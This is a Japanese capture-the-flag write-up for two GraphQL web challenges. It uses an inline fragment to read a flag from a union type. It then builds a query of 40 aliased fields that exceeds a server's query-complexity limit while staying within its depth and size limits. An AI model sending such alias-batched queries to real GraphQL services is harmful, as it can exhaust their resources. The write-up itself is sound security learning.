welcome
schema.gqlからflag1が出力される定義が以下の部分。
type Dummy {
flag1: String!
}
type Flag {
flag1: String!
}
union FlagUnion = Dummy | Flag
type PageInfo {
endCursor: String
hasNextPage: Boolean!
hasPreviousPage: Boolean!
startCursor: String
}
type Query {
getFlag: FlagUnion!
...
クエリのgetFlagで取得してくるが、取得はDummyかFlagで帰ってくる。
しかし、どちらもflag1で持ってくればいいので、以下のようにしてやればよさそう。
query GetFlag {
getFlag {
flag1
}
}
だが、以下のようにエラーになる。
{
"errors": [
{
"message": "Cannot query field \"flag1\" on type \"FlagUnion\". Did you mean to use an inline fragment on \"Dummy\" or \"Flag\"?",
"locations": [
{
"line": 3,
"column": 5
}
]
}
]
}
同名だと型の解決ができないようである。
これをどうにかするのが今回の問題。
適当にググると比較的すぐに解決策を見つけ出すことができた。
ガバガバ英語だが、graphql union specify the same fieldでgoogle検索すると、以下のサイトが見つかる。
https://www.apollographql.com/docs/apollo-server/schema/unions-interfaces/
... onというのを使えばいいらしく以下でフラグが得られる。
query GetFlag {
getFlag {
... on Flag {flag1}
}
}
First blood!
complexity
flag2は以下のコードを通して得られる。
app.use( "/graphql", createHandler({ schema, validationRules: async (req, args, specifiedRules) => { return [ ...specifiedRules, querySizeLimit(QUERY_SIZE_LIMIT), depthLimit(DEPTH_LIMIT), validatePaginationArgument({ maximumValue: PAGINATION_MAX_VALUE, variableValues: args.variableValues, }), createComplexityRule({ maximumComplexity: COMPLEXITY_LIMIT, variables: args.variableValues ?? undefined, onComplete(complexity) { req.context.c.res.headers.append( "X-Debug-Complexity", String(complexity) ); }, createError() { log(req.context.c, "got flag2"); return flagError("Complex query detected", { flag2: process.env.FLAG2, }); }, estimators: [ fieldExtensionsEstimator(), simpleEstimator({ defaultComplexity: 1 }), ], }), ]; }, }) );
色々バリデーションがかかっているが、回避が大変なのは以下の部分。
- クエリの入力が1700bytes以内
- 深さが2以内。特にこっちが大変
この条件下のクエリで複雑度が100であるクエリを作ればフラグが得られる。
複雑度というのはgraphql-query-complexityで定義されている概念。
複雑度については何も分からないが、graphql-validation-complexity から学ぶGraphQLのAST走査らへんで雰囲気が分かる。
深さによる複雑度の増加は制限があるので、個数を増やしていく必要があるが…
分からない。
困った。
「ヒントが公開されます!」
dosのヒント1 (20:10)
https://graphql.org/learn/queries/#aliases
違う問題のヒントだが、まさしく求めていたものがそこにあった。
エイリアスを使えば、同一のクエリを複数個置くことができる。
以下のような根性クエリを投げるとフラグがもらえる。
query {
a0: user(id: "1") { parent { name } }
a1: user(id: "1") { parent { name } }
a2: user(id: "1") { parent { name } }
a3: user(id: "1") { parent { name } }
a4: user(id: "1") { parent { name } }
a5: user(id: "1") { parent { name } }
a6: user(id: "1") { parent { name } }
a7: user(id: "1") { parent { name } }
a8: user(id: "1") { parent { name } }
a9: user(id: "1") { parent { name } }
a10: user(id: "1") { parent { name } }
a11: user(id: "1") { parent { name } }
a12: user(id: "1") { parent { name } }
a13: user(id: "1") { parent { name } }
a14: user(id: "1") { parent { name } }
a15: user(id: "1") { parent { name } }
a16: user(id: "1") { parent { name } }
a17: user(id: "1") { parent { name } }
a18: user(id: "1") { parent { name } }
a19: user(id: "1") { parent { name } }
a20: user(id: "1") { parent { name } }
a21: user(id: "1") { parent { name } }
a22: user(id: "1") { parent { name } }
a23: user(id: "1") { parent { name } }
a24: user(id: "1") { parent { name } }
a25: user(id: "1") { parent { name } }
a26: user(id: "1") { parent { name } }
a27: user(id: "1") { parent { name } }
a28: user(id: "1") { parent { name } }
a29: user(id: "1") { parent { name } }
a30: user(id: "1") { parent { name } }
a31: user(id: "1") { parent { name } }
a32: user(id: "1") { parent { name } }
a33: user(id: "1") { parent { name } }
a34: user(id: "1") { parent { name } }
a35: user(id: "1") { parent { name } }
a36: user(id: "1") { parent { name } }
a37: user(id: "1") { parent { name } }
a38: user(id: "1") { parent { name } }
a39: user(id: "1") { parent { name } }
}